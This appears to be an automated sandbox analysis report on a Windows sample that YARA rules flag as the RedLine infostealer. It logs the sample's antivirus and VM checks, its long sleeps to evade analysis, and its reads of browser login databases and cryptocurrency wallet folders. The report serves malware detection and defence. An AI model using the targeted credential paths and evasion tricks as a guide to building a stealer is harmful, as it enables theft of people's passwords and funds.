Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002FB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs 2BuZaUic3i.exe
Source: 2BuZaUic3i.exe, 00000000.00000002.1785297588.000000000128E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 2BuZaUic3i.exe
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefirefox.exe0 vs 2BuZaUic3i.exe
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs 2BuZaUic3i.exe
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $dq,\\StringFileInfo\\000004B0\\OriginalFilename vs 2BuZaUic3i.exe
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamechrome.exe< vs 2BuZaUic3i.exe
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $dq,\\StringFileInfo\\040904B0\\OriginalFilename vs 2BuZaUic3i.exe
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIEXPLORE.EXE.MUID vs 2BuZaUic3i.exe
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIEXPLORE.EXED vs 2BuZaUic3i.exe
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $dq,\\StringFileInfo\\080904B0\\OriginalFilename vs 2BuZaUic3i.exe
Source: 2BuZaUic3i.exe, 00000000.00000002.1785668854.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe> vs 2BuZaUic3i.exe
Source: 2BuZaUic3i.exe, 00000000.00000000.1660305995.0000000000C02000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs 2BuZaUic3i.exe
Source: 2BuZaUic3i.exe	Binary or memory string: OriginalFilenameImplosions.exe4 vs 2BuZaUic3i.exe

Source: 2BuZaUic3i.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2BuZaUic3i.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 2BuZaUic3i.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.0.2BuZaUic3i.exe.c00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 0.0.2BuZaUic3i.exe.c00000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000000.1660305995.0000000000C02000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: 2BuZaUic3i.exe PID: 2104, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/47@1/1

Source: C:\Users\user\Desktop\2BuZaUic3i.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4320:120:WilError_03

Source: C:\Users\user\Desktop\2BuZaUic3i.exe

File created: C:\Users\user\AppData\Local\Temp\tmp743B.tmp

Jump to behavior

Source: 2BuZaUic3i.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 2BuZaUic3i.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\2BuZaUic3i.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Users\user\Desktop\2BuZaUic3i.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmp743B.tmp.0.dr, tmp745D.tmp.0.dr, tmp744C.tmp.0.dr, tmp744B.tmp.0.dr, tmp745E.tmp.0.dr, tmp746F.tmp.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 2BuZaUic3i.exe

ReversingLabs: Detection: 95%

Source: unknown	Process created: C:\Users\user\Desktop\2BuZaUic3i.exe "C:\Users\user\Desktop\2BuZaUic3i.exe"
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 2BuZaUic3i.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 2BuZaUic3i.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: 2BuZaUic3i.exe

Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 40826
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 40826
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 40826
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 40826
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49733

Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\2BuZaUic3i.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\2BuZaUic3i.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Memory allocated: 1230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Memory allocated: 2F20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Memory allocated: 4F20000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Window / User API: threadDelayed 1380			Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Window / User API: threadDelayed 6471			Jump to behavior

Source: C:\Users\user\Desktop\2BuZaUic3i.exe TID: 7060	Thread sleep time: -19369081277395017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe TID: 2536	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe TID: 6044	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\2BuZaUic3i.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: 2BuZaUic3i.exe, 00000000.00000002.1785297588.00000000012C1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\2BuZaUic3i.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\2BuZaUic3i.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\2BuZaUic3i.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Queries volume information: C:\Users\user\Desktop\2BuZaUic3i.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\2BuZaUic3i.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\2BuZaUic3i.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 2BuZaUic3i.exe, type: SAMPLE
Source: Yara match	File source: 0.0.2BuZaUic3i.exe.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1660305995.0000000000C02000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2BuZaUic3i.exe PID: 2104, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\2BuZaUic3i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\2BuZaUic3i.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
